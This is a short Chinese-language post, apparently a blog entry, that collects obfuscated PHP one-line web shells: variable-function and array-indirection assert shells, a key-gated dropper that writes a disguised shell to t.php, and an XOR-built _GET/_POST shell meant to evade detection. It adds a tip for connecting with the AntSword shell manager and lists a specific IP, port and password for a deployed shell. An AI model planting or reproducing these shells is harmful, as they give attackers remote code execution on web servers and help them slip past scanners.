1、
<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>
eval是一个语言构造器而不是一个函数,不能被可变函数调用
<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?>
AntSword 连接的问题。 php assert 会把传入的字符串的引号进行一次实体编码,导致执行代码失败。这时候只需要把编码器换成 base64 或者 chr 这种没有引号的编码器就可以了
<?php if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){$_=@fopen('t.php', 'a');@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));@\$_(\$_POST[1]);?>");@fclose($_);}?>
PHP中字符异或后还是字符,我们只需要找到两个字符,他们的异或结果是我们所需要的字母即可
http://219.153.49.228:40282/b.php?0=assert密码为1
<?php
@$_++; //得到1
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/"); //得到_GET
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|"); //得到_POST
${$__}[!$_](${$___}[$_]);
?>
评论已关闭